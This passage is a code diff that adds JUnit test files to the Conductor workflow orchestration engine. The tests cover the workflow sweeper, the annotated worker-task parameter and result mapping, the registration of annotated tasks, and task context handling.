    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution; + +import java.time.Duration; +import java.util.List; +import java.util.Map; +import java.util.concurrent.Executor; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.execution.tasks.SystemTaskRegistry; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.dao.ExecutionDAO; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.service.ExecutionLockService; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.mockito.ArgumentMatchers.anyLong; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +public class WorkflowSweeperTest { + + private static final String WORKFLOW_ID = "workflow-id"; + + private Executor sweeperExecutor; + private QueueDAO queueDAO; + private WorkflowExecutor workflowExecutor; + private ExecutionDAO executionDAO; + private ConductorProperties properties; + private SweeperProperties sweeperProperties; + private SystemTaskRegistry systemTaskRegistry; + private ObjectMapper objectMapper; + private ExecutionLockService executionLockService; + private WorkflowSweeper workflowSweeper; + + @Before + public void setUp() { + sweeperExecutor = mock(Executor.class); + queueDAO = mock(QueueDAO.class); + workflowExecutor = mock(WorkflowExecutor.class); + executionDAO = mock(ExecutionDAO.class); + properties = mock(ConductorProperties.class); + sweeperProperties = mock(SweeperProperties.class); + systemTaskRegistry = mock(SystemTaskRegistry.class); + objectMapper = mock(ObjectMapper.class); + executionLockService = mock(ExecutionLockService.class); + + when(properties.getWorkflowOffsetTimeout()).thenReturn(Duration.ofSeconds(30)); + when(properties.getMaxPostponeDurationSeconds()).thenReturn(Duration.ofSeconds(3600)); + when(properties.getLockLeaseTime()).thenReturn(Duration.ofSeconds(60)); + when(properties.getSweeperThreadCount()).thenReturn(0); + + workflowSweeper = + new WorkflowSweeper( + sweeperExecutor, + queueDAO, + workflowExecutor, + executionDAO, + properties, + sweeperProperties, + systemTaskRegistry, + objectMapper, + executionLockService); + } + + @Test + public void sweepDoesNotRepushTerminalTasks() { + TaskModel completedTask = + newTask("completed-task", TaskType.TASK_TYPE_SIMPLE, TaskModel.Status.COMPLETED); + TaskModel runningWaitTask = + newTask("wait-task", TaskType.TASK_TYPE_WAIT, TaskModel.Status.IN_PROGRESS); + runningWaitTask.setWaitTimeout(System.currentTimeMillis() + 60_000); + WorkflowModel workflow = newWorkflow(List.of(completedTask, runningWaitTask)); + + when(executionLockService.acquireLock(WORKFLOW_ID)).thenReturn(true); + when(workflowExecutor.getWorkflow(WORKFLOW_ID, true)).thenReturn(workflow); + when(workflowExecutor.decide(WORKFLOW_ID)).thenReturn(workflow); + when(systemTaskRegistry.isSystemTask(anyString())).thenReturn(false); + when(queueDAO.containsMessage(TaskType.TASK_TYPE_WAIT, runningWaitTask.getTaskId())) + .thenReturn(true); + + workflowSweeper.sweep(WORKFLOW_ID); + + verify(queueDAO, never()).push(TaskType.TASK_TYPE_SIMPLE, completedTask.getTaskId(), 0L); + verify(executionLockService).releaseLock(WORKFLOW_ID); + } + + @Test + public void sweepDoesNotRepushNonRepairableInProgressSimpleTask() { + TaskModel simpleInProgressTask = + newTask("simple-task", TaskType.TASK_TYPE_SIMPLE, TaskModel.Status.IN_PROGRESS); + WorkflowModel workflow = newWorkflow(List.of(simpleInProgressTask)); + + when(executionLockService.acquireLock(WORKFLOW_ID)).thenReturn(true); + when(workflowExecutor.getWorkflow(WORKFLOW_ID, true)).thenReturn(workflow); + when(workflowExecutor.decide(WORKFLOW_ID)).thenReturn(workflow); + when(systemTaskRegistry.isSystemTask(anyString())).thenReturn(false); + + workflowSweeper.sweep(WORKFLOW_ID); + + verify(queueDAO, never()) + .push(TaskType.TASK_TYPE_SIMPLE, simpleInProgressTask.getTaskId(), 0L); + verify(executionLockService).releaseLock(WORKFLOW_ID); + } + + @Test + public void sweepRepushesRepairableScheduledTaskWhenMessageMissing() { + TaskModel scheduledTask = + newTask("scheduled-task", TaskType.TASK_TYPE_SIMPLE, TaskModel.Status.SCHEDULED); + scheduledTask.setCallbackAfterSeconds(7L); + WorkflowModel workflow = newWorkflow(List.of(scheduledTask)); + + when(executionLockService.acquireLock(WORKFLOW_ID)).thenReturn(true); + when(workflowExecutor.getWorkflow(WORKFLOW_ID, true)).thenReturn(workflow); + when(workflowExecutor.decide(WORKFLOW_ID)).thenReturn(workflow); + when(systemTaskRegistry.isSystemTask(anyString())).thenReturn(false); + when(queueDAO.containsMessage(TaskType.TASK_TYPE_SIMPLE, scheduledTask.getTaskId())) + .thenReturn(false); + + workflowSweeper.sweep(WORKFLOW_ID); + + verify(queueDAO, times(1)) + .push( + TaskType.TASK_TYPE_SIMPLE, + scheduledTask.getTaskId(), + scheduledTask.getCallbackAfterSeconds()); + verify(executionLockService).releaseLock(WORKFLOW_ID); + } + + @Test + public void sweepRepairsSubWorkflowTaskWhenSubWorkflowIsTerminal() { + TaskModel subWorkflowTask = + newTask( + "sub-workflow-task", + TaskType.TASK_TYPE_SUB_WORKFLOW, + TaskModel.Status.IN_PROGRESS); + subWorkflowTask.setSubWorkflowId("sub-workflow-id"); + WorkflowModel workflow = newWorkflow(List.of(subWorkflowTask)); + + WorkflowSystemTask workflowSystemTask = mock(WorkflowSystemTask.class); + WorkflowModel subWorkflow = new WorkflowModel(); + subWorkflow.setStatus(WorkflowModel.Status.COMPLETED); + subWorkflow.setOutput(Map.of("result", "ok")); + WorkflowModel terminalWorkflow = new WorkflowModel(); + terminalWorkflow.setWorkflowId(WORKFLOW_ID); + terminalWorkflow.setStatus(WorkflowModel.Status.COMPLETED); + + when(executionLockService.acquireLock(WORKFLOW_ID)).thenReturn(true); + when(workflowExecutor.getWorkflow(WORKFLOW_ID, true)).thenReturn(workflow); + when(workflowExecutor.decide(WORKFLOW_ID)).thenReturn(workflow, terminalWorkflow); + when(systemTaskRegistry.isSystemTask(TaskType.TASK_TYPE_SUB_WORKFLOW)).thenReturn(true); + when(systemTaskRegistry.get(TaskType.TASK_TYPE_SUB_WORKFLOW)) + .thenReturn(workflowSystemTask); + when(workflowSystemTask.isAsync()).thenReturn(true); + when(workflowSystemTask.isAsyncComplete(subWorkflowTask)).thenReturn(true); + when(executionDAO.getWorkflow("sub-workflow-id", false)).thenReturn(subWorkflow); + + workflowSweeper.sweep(WORKFLOW_ID); + + verify(executionDAO).updateTask(subWorkflowTask); + verify(workflowExecutor, times(2)).decide(WORKFLOW_ID); + verify(queueDAO, never()).push(anyString(), anyString(), anyLong()); + verify(executionLockService).releaseLock(WORKFLOW_ID); + } + + private WorkflowModel newWorkflow(List tasks) { + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowId(WORKFLOW_ID); + workflowModel.setStatus(WorkflowModel.Status.RUNNING); + workflowModel.setTasks(tasks); + return workflowModel; + } + + private TaskModel newTask(String taskId, String taskType, TaskModel.Status status) { + TaskModel task = new TaskModel(); + task.setTaskId(taskId); + task.setTaskType(taskType); + task.setStatus(status); + task.setReferenceTaskName(taskId); + return task; + } +} diff --git a/core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestAnnotatedMethodParameterMapper.java b/core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestAnnotatedMethodParameterMapper.java new file mode 100644 index 0000000..1fed1e4 --- /dev/null +++ b/core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestAnnotatedMethodParameterMapper.java @@ -0,0 +1,145 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution.tasks.annotated; + +import java.lang.reflect.Method; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.junit.Test; + +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.sdk.workflow.task.InputParam; + +import static org.junit.Assert.*; + +public class TestAnnotatedMethodParameterMapper { + + private final AnnotatedMethodParameterMapper mapper = new AnnotatedMethodParameterMapper(); + + // Test class with various method signatures + static class TestWorker { + public void taskModelParameter(TaskModel task) {} + + public void mapParameter(Map input) {} + + public void singleInputParam(@InputParam("name") String name) {} + + public void multipleInputParams( + @InputParam("firstName") String firstName, @InputParam("age") Integer age) {} + + public void listInputParam(@InputParam("items") List items) {} + + public void pojoParameter(TestPojo pojo) {} + } + + public static class TestPojo { + public String field1; + public int field2; + } + + @Test + public void testTaskModelParameter() throws Exception { + Method method = TestWorker.class.getMethod("taskModelParameter", TaskModel.class); + TaskModel task = createTaskModel("workflow-id", Map.of("key", "value")); + + Object[] params = mapper.mapParameters(task, method); + + assertEquals(1, params.length); + assertSame(task, params[0]); + } + + @Test + public void testMapParameter() throws Exception { + Method method = TestWorker.class.getMethod("mapParameter", Map.class); + TaskModel task = createTaskModel("workflow-id", Map.of("key", "value")); + + Object[] params = mapper.mapParameters(task, method); + + assertEquals(1, params.length); + assertSame(task.getInputData(), params[0]); + } + + @Test + public void testSingleInputParam() throws Exception { + Method method = TestWorker.class.getMethod("singleInputParam", String.class); + TaskModel task = createTaskModel("workflow-id", Map.of("name", "John")); + + Object[] params = mapper.mapParameters(task, method); + + assertEquals(1, params.length); + assertEquals("John", params[0]); + } + + @Test + public void testMultipleInputParams() throws Exception { + Method method = + TestWorker.class.getMethod("multipleInputParams", String.class, Integer.class); + TaskModel task = createTaskModel("workflow-id", Map.of("firstName", "Jane", "age", 25)); + + Object[] params = mapper.mapParameters(task, method); + + assertEquals(2, params.length); + assertEquals("Jane", params[0]); + assertEquals(25, params[1]); + } + + @Test + public void testListInputParam() throws Exception { + Method method = TestWorker.class.getMethod("listInputParam", List.class); + TaskModel task = + createTaskModel("workflow-id", Map.of("items", List.of("item1", "item2", "item3"))); + + Object[] params = mapper.mapParameters(task, method); + + assertEquals(1, params.length); + assertTrue(params[0] instanceof List); + @SuppressWarnings("unchecked") + List items = (List) params[0]; + assertEquals(3, items.size()); + assertEquals("item1", items.get(0)); + } + + @Test + public void testPojoParameter() throws Exception { + Method method = TestWorker.class.getMethod("pojoParameter", TestPojo.class); + TaskModel task = createTaskModel("workflow-id", Map.of("field1", "value1", "field2", 42)); + + Object[] params = mapper.mapParameters(task, method); + + assertEquals(1, params.length); + assertTrue(params[0] instanceof TestPojo); + TestPojo pojo = (TestPojo) params[0]; + assertEquals("value1", pojo.field1); + assertEquals(42, pojo.field2); + } + + @Test + public void testInputParamWithNullValue() throws Exception { + Method method = TestWorker.class.getMethod("singleInputParam", String.class); + TaskModel task = createTaskModel("workflow-id", Map.of("other", "value")); + + Object[] params = mapper.mapParameters(task, method); + + assertEquals(1, params.length); + assertNull(params[0]); + } + + private TaskModel createTaskModel(String workflowId, Map inputData) { + TaskModel task = new TaskModel(); + task.setWorkflowInstanceId(workflowId); + task.setInputData(new HashMap<>(inputData)); + return task; + } +} diff --git a/core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestAnnotatedMethodResultMapper.java b/core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestAnnotatedMethodResultMapper.java new file mode 100644 index 0000000..2a2d58a --- /dev/null +++ b/core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestAnnotatedMethodResultMapper.java @@ -0,0 +1,176 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution.tasks.annotated; + +import java.lang.reflect.Method; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.junit.Test; + +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.sdk.workflow.task.OutputParam; + +import static org.junit.Assert.*; + +public class TestAnnotatedMethodResultMapper { + + private final AnnotatedMethodResultMapper mapper = new AnnotatedMethodResultMapper(); + + static class TestWorker { + public void voidReturn() {} + + public Map mapReturn() { + return Map.of("result", "success"); + } + + public String stringReturn() { + return "hello"; + } + + public Integer numberReturn() { + return 42; + } + + public Boolean booleanReturn() { + return true; + } + + public List listReturn() { + return List.of("a", "b", "c"); + } + + @OutputParam("customKey") + public String annotatedReturn() { + return "custom value"; + } + + public TestPojo pojoReturn() { + TestPojo pojo = new TestPojo(); + pojo.field1 = "value1"; + pojo.field2 = 123; + return pojo; + } + } + + static class TestPojo { + public String field1; + public int field2; + } + + @Test + public void testVoidReturn() throws Exception { + Method method = TestWorker.class.getMethod("voidReturn"); + TaskModel task = createTaskModel(); + + mapper.applyResult(null, task, method); + + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertTrue(task.getOutputData().isEmpty()); + } + + @Test + public void testMapReturn() throws Exception { + Method method = TestWorker.class.getMethod("mapReturn"); + TaskModel task = createTaskModel(); + Map returnValue = Map.of("result", "success", "count", 5); + + mapper.applyResult(returnValue, task, method); + + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals("success", task.getOutputData().get("result")); + assertEquals(5, task.getOutputData().get("count")); + } + + @Test + public void testStringReturn() throws Exception { + Method method = TestWorker.class.getMethod("stringReturn"); + TaskModel task = createTaskModel(); + + mapper.applyResult("hello", task, method); + + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals("hello", task.getOutputData().get("result")); + } + + @Test + public void testNumberReturn() throws Exception { + Method method = TestWorker.class.getMethod("numberReturn"); + TaskModel task = createTaskModel(); + + mapper.applyResult(42, task, method); + + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals(42, task.getOutputData().get("result")); + } + + @Test + public void testBooleanReturn() throws Exception { + Method method = TestWorker.class.getMethod("booleanReturn"); + TaskModel task = createTaskModel(); + + mapper.applyResult(true, task, method); + + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals(true, task.getOutputData().get("result")); + } + + @Test + public void testListReturn() throws Exception { + Method method = TestWorker.class.getMethod("listReturn"); + TaskModel task = createTaskModel(); + List returnValue = List.of("a", "b", "c"); + + mapper.applyResult(returnValue, task, method); + + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + @SuppressWarnings("unchecked") + List result = (List) task.getOutputData().get("result"); + assertEquals(3, result.size()); + assertEquals("a", result.get(0)); + } + + @Test + public void testAnnotatedReturn() throws Exception { + Method method = TestWorker.class.getMethod("annotatedReturn"); + TaskModel task = createTaskModel(); + + mapper.applyResult("custom value", task, method); + + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals("custom value", task.getOutputData().get("customKey")); + assertFalse(task.getOutputData().containsKey("result")); + } + + @Test + public void testPojoReturn() throws Exception { + Method method = TestWorker.class.getMethod("pojoReturn"); + TaskModel task = createTaskModel(); + TestPojo pojo = new TestPojo(); + pojo.field1 = "test"; + pojo.field2 = 99; + + mapper.applyResult(pojo, task, method); + + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals("test", task.getOutputData().get("field1")); + assertEquals(99, task.getOutputData().get("field2")); + } + + private TaskModel createTaskModel() { + TaskModel task = new TaskModel(); + task.setOutputData(new HashMap<>()); + return task; + } +} diff --git a/core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestAnnotatedSystemTaskIntegration.java b/core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestAnnotatedSystemTaskIntegration.java new file mode 100644 index 0000000..1e4d9c2 --- /dev/null +++ b/core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestAnnotatedSystemTaskIntegration.java @@ -0,0 +1,116 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution.tasks.annotated; + +import java.util.Map; +import java.util.Set; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Import; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.core.execution.mapper.TaskMapper; +import com.netflix.conductor.core.execution.tasks.SystemTaskRegistry; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.sdk.workflow.task.InputParam; +import com.netflix.conductor.sdk.workflow.task.WorkerTask; + +import static org.junit.Assert.*; + +/** + * Integration test to verify that WorkerTaskAnnotationScanner correctly discovers and + * registers @WorkerTask annotated methods with the Spring application context. + */ +@RunWith(SpringRunner.class) +@Import({TestAnnotatedSystemTaskIntegration.TestConfig.class, WorkerTaskAnnotationScanner.class}) +public class TestAnnotatedSystemTaskIntegration { + + @Autowired + @Qualifier(SystemTaskRegistry.ASYNC_SYSTEM_TASKS_QUALIFIER) + private Set asyncSystemTasks; + + @TestConfiguration + static class TestConfig { + @Bean + public SampleAnnotatedTasks sampleAnnotatedTasks() { + return new SampleAnnotatedTasks(); + } + + @Bean + @Qualifier(SystemTaskRegistry.ASYNC_SYSTEM_TASKS_QUALIFIER) + public Set asyncSystemTasks() { + // Start with empty set - scanner will add to it + return new java.util.HashSet<>(); + } + + @Bean + @Qualifier("taskMappersByTaskType") + public Map taskMappersByTaskType() { + // Start with empty map - scanner will populate it + return new java.util.HashMap<>(); + } + + @Bean + public ParametersUtils parametersUtils() { + // Mock ParametersUtils for test + return new ParametersUtils(null); + } + } + + /** Sample bean with @WorkerTask annotated methods for testing */ + static class SampleAnnotatedTasks { + + @WorkerTask("integration_test_task_1") + public Map task1(@InputParam("input") String input) { + return Map.of("result", "task1: " + input); + } + + @WorkerTask(value = "integration_test_task_2", threadCount = 5, pollingInterval = 200) + public Map task2(@InputParam("value") Integer value) { + return Map.of("doubled", value * 2); + } + + // Method without @WorkerTask should be ignored + public String notATask() { + return "not registered"; + } + } + + @Test + public void testNonAnnotatedMethodsNotRegistered() { + // Ensure that methods without @WorkerTask are not registered + long notATaskCount = + asyncSystemTasks.stream() + .filter(task -> task instanceof AnnotatedWorkflowSystemTask) + .map(task -> (AnnotatedWorkflowSystemTask) task) + .filter(task -> task.getMethod().getName().equals("notATask")) + .count(); + + assertEquals("Non-annotated methods should not be registered", 0, notATaskCount); + } + + private AnnotatedWorkflowSystemTask findTask(String taskType) { + return asyncSystemTasks.stream() + .filter(task -> task instanceof AnnotatedWorkflowSystemTask) + .map(task -> (AnnotatedWorkflowSystemTask) task) + .filter(task -> task.getTaskType().equals(taskType)) + .findFirst() + .orElse(null); + } +} diff --git a/core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestAnnotatedWorkflowSystemTask.java b/core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestAnnotatedWorkflowSystemTask.java new file mode 100644 index 0000000..84a9c2f --- /dev/null +++ b/core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestAnnotatedWorkflowSystemTask.java @@ -0,0 +1,260 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution.tasks.annotated; + +import java.lang.reflect.Method; +import java.util.HashMap; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; +import org.mockito.Mockito; + +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.sdk.workflow.executor.task.NonRetryableException; +import com.netflix.conductor.sdk.workflow.executor.task.TaskContext; +import com.netflix.conductor.sdk.workflow.task.InputParam; +import com.netflix.conductor.sdk.workflow.task.WorkerTask; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.mock; + +public class TestAnnotatedWorkflowSystemTask { + + private WorkflowModel workflow; + private WorkflowExecutor workflowExecutor; + + @Before + public void setUp() { + workflow = new WorkflowModel(); + workflow.setWorkflowId("test-workflow-123"); + workflowExecutor = mock(WorkflowExecutor.class); + } + + static class TestWorkerBean { + public Map successTask(@InputParam("input") String input) { + return Map.of("output", "processed: " + input); + } + + public void throwsException(@InputParam("input") String input) { + throw new RuntimeException("Task failed"); + } + + public void throwsNonRetryable(@InputParam("input") String input) { + throw new NonRetryableException("Terminal failure"); + } + + public Map returnsNull(@InputParam("input") String input) { + return null; + } + + public Map taskWithContext( + TaskContext context, @InputParam("input") String input) { + if (context == null) { + throw new RuntimeException("TaskContext is null"); + } + return Map.of("taskId", context.getTaskId(), "input", input); + } + } + + @Test + public void testSuccessfulExecution() throws Exception { + TestWorkerBean bean = new TestWorkerBean(); + Method method = TestWorkerBean.class.getMethod("successTask", String.class); + WorkerTask annotation = createAnnotation("test_task"); + + AnnotatedWorkflowSystemTask systemTask = + new AnnotatedWorkflowSystemTask("test_task", method, bean, annotation); + + TaskModel task = createTask(Map.of("input", "hello")); + + boolean result = systemTask.execute(workflow, task, workflowExecutor); + + assertTrue(result); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals("processed: hello", task.getOutputData().get("output")); + } + + @Test + public void testTaskWithException() throws Exception { + TestWorkerBean bean = new TestWorkerBean(); + Method method = TestWorkerBean.class.getMethod("throwsException", String.class); + WorkerTask annotation = createAnnotation("failing_task"); + + AnnotatedWorkflowSystemTask systemTask = + new AnnotatedWorkflowSystemTask("failing_task", method, bean, annotation); + + TaskModel task = createTask(Map.of("input", "test")); + + boolean result = systemTask.execute(workflow, task, workflowExecutor); + + assertTrue(result); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + assertTrue(task.getReasonForIncompletion().contains("Task failed")); + } + + @Test + public void testTaskWithNonRetryableException() throws Exception { + TestWorkerBean bean = new TestWorkerBean(); + Method method = TestWorkerBean.class.getMethod("throwsNonRetryable", String.class); + WorkerTask annotation = createAnnotation("terminal_task"); + + AnnotatedWorkflowSystemTask systemTask = + new AnnotatedWorkflowSystemTask("terminal_task", method, bean, annotation); + + TaskModel task = createTask(Map.of("input", "test")); + + boolean result = systemTask.execute(workflow, task, workflowExecutor); + + assertTrue(result); + assertEquals(TaskModel.Status.FAILED_WITH_TERMINAL_ERROR, task.getStatus()); + assertTrue(task.getReasonForIncompletion().contains("Terminal failure")); + } + + @Test + public void testTaskReturnsNull() throws Exception { + TestWorkerBean bean = new TestWorkerBean(); + Method method = TestWorkerBean.class.getMethod("returnsNull", String.class); + WorkerTask annotation = createAnnotation("null_task"); + + AnnotatedWorkflowSystemTask systemTask = + new AnnotatedWorkflowSystemTask("null_task", method, bean, annotation); + + TaskModel task = createTask(Map.of("input", "test")); + + boolean result = systemTask.execute(workflow, task, workflowExecutor); + + assertTrue(result); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertTrue(task.getOutputData().isEmpty()); + } + + @Test + public void testTaskWithContext() throws Exception { + TestWorkerBean bean = new TestWorkerBean(); + Method method = + TestWorkerBean.class.getMethod("taskWithContext", TaskContext.class, String.class); + WorkerTask annotation = createAnnotation("context_task"); + + AnnotatedWorkflowSystemTask systemTask = + new AnnotatedWorkflowSystemTask("context_task", method, bean, annotation); + + TaskModel task = createTask(Map.of("input", "context_test")); + task.setTaskId("ctx-task-id"); + + boolean result = systemTask.execute(workflow, task, workflowExecutor); + + assertTrue(result); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals("ctx-task-id", task.getOutputData().get("taskId")); + assertEquals("context_test", task.getOutputData().get("input")); + } + + @Test + public void testIsAsync() throws Exception { + TestWorkerBean bean = new TestWorkerBean(); + Method method = TestWorkerBean.class.getMethod("successTask", String.class); + WorkerTask annotation = createAnnotation("async_task"); + + AnnotatedWorkflowSystemTask systemTask = + new AnnotatedWorkflowSystemTask("async_task", method, bean, annotation); + + assertTrue(systemTask.isAsync()); + } + + @Test + public void testCancel() throws Exception { + TestWorkerBean bean = new TestWorkerBean(); + Method method = TestWorkerBean.class.getMethod("successTask", String.class); + WorkerTask annotation = createAnnotation("cancel_task"); + + AnnotatedWorkflowSystemTask systemTask = + new AnnotatedWorkflowSystemTask("cancel_task", method, bean, annotation); + + TaskModel task = createTask(Map.of("input", "test")); + + systemTask.cancel(workflow, task, workflowExecutor); + + assertEquals(TaskModel.Status.CANCELED, task.getStatus()); + } + + @Test + public void testGetTaskType() throws Exception { + TestWorkerBean bean = new TestWorkerBean(); + Method method = TestWorkerBean.class.getMethod("successTask", String.class); + WorkerTask annotation = createAnnotation("my_task"); + + AnnotatedWorkflowSystemTask systemTask = + new AnnotatedWorkflowSystemTask("my_task", method, bean, annotation); + + assertEquals("my_task", systemTask.getTaskType()); + } + + @Test + public void testGetAnnotation() throws Exception { + TestWorkerBean bean = new TestWorkerBean(); + Method method = TestWorkerBean.class.getMethod("successTask", String.class); + WorkerTask annotation = createAnnotation("test"); + + AnnotatedWorkflowSystemTask systemTask = + new AnnotatedWorkflowSystemTask("test", method, bean, annotation); + + assertSame(annotation, systemTask.getAnnotation()); + } + + @Test + public void testGetMethod() throws Exception { + TestWorkerBean bean = new TestWorkerBean(); + Method method = TestWorkerBean.class.getMethod("successTask", String.class); + WorkerTask annotation = createAnnotation("test"); + + AnnotatedWorkflowSystemTask systemTask = + new AnnotatedWorkflowSystemTask("test", method, bean, annotation); + + assertSame(method, systemTask.getMethod()); + } + + @Test + public void testGetBean() throws Exception { + TestWorkerBean bean = new TestWorkerBean(); + Method method = TestWorkerBean.class.getMethod("successTask", String.class); + WorkerTask annotation = createAnnotation("test"); + + AnnotatedWorkflowSystemTask systemTask = + new AnnotatedWorkflowSystemTask("test", method, bean, annotation); + + assertSame(bean, systemTask.getBean()); + } + + private TaskModel createTask(Map inputData) { + TaskModel task = new TaskModel(); + task.setTaskId("task-123"); + task.setWorkflowInstanceId("workflow-123"); + task.setInputData(new HashMap<>(inputData)); + task.setOutputData(new HashMap<>()); + task.setStatus(TaskModel.Status.SCHEDULED); + return task; + } + + private WorkerTask createAnnotation(String taskName) { + WorkerTask annotation = Mockito.mock(WorkerTask.class); + Mockito.when(annotation.value()).thenReturn(taskName); + Mockito.when(annotation.threadCount()).thenReturn(1); + Mockito.when(annotation.pollingInterval()).thenReturn(100); + Mockito.when(annotation.domain()).thenReturn(""); + // pollTimeout and pollerCount not available in SDK v3.x + return annotation; + } +} diff --git a/core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestTaskContext.java b/core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestTaskContext.java new file mode 100644 index 0000000..9397ad5 --- /dev/null +++ b/core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestTaskContext.java @@ -0,0 +1,70 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution.tasks.annotated; + +import org.junit.After; +import org.junit.Test; + +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.sdk.workflow.executor.task.TaskContext; + +import static org.junit.Assert.*; + +public class TestTaskContext { + + @After + public void cleanup() { + TaskContext.clear(); + } + + @Test + public void testThreadLocalBehavior() { + TaskModel task = new TaskModel(); + task.setTaskId("id-1"); + task.setStatus(TaskModel.Status.SCHEDULED); + + assertNull(TaskContext.get()); + + TaskContext context = TaskContext.set(task.toTask()); + assertNotNull(context); + assertEquals("id-1", context.getTaskId()); + assertSame(context, TaskContext.get()); + + TaskContext.clear(); + assertNull(TaskContext.get()); + } + + @Test + public void testGettersAndSetters() { + TaskModel task = new TaskModel(); + task.setWorkflowInstanceId("workflow-1"); + task.setTaskId("task-1"); + task.setWorkerId("worker-1"); + task.setRetryCount(3); + task.setPollCount(5); + task.setCallbackAfterSeconds(10); + task.setStatus(TaskModel.Status.SCHEDULED); + + TaskContext.set(task.toTask()); + TaskContext context = TaskContext.get(); + + 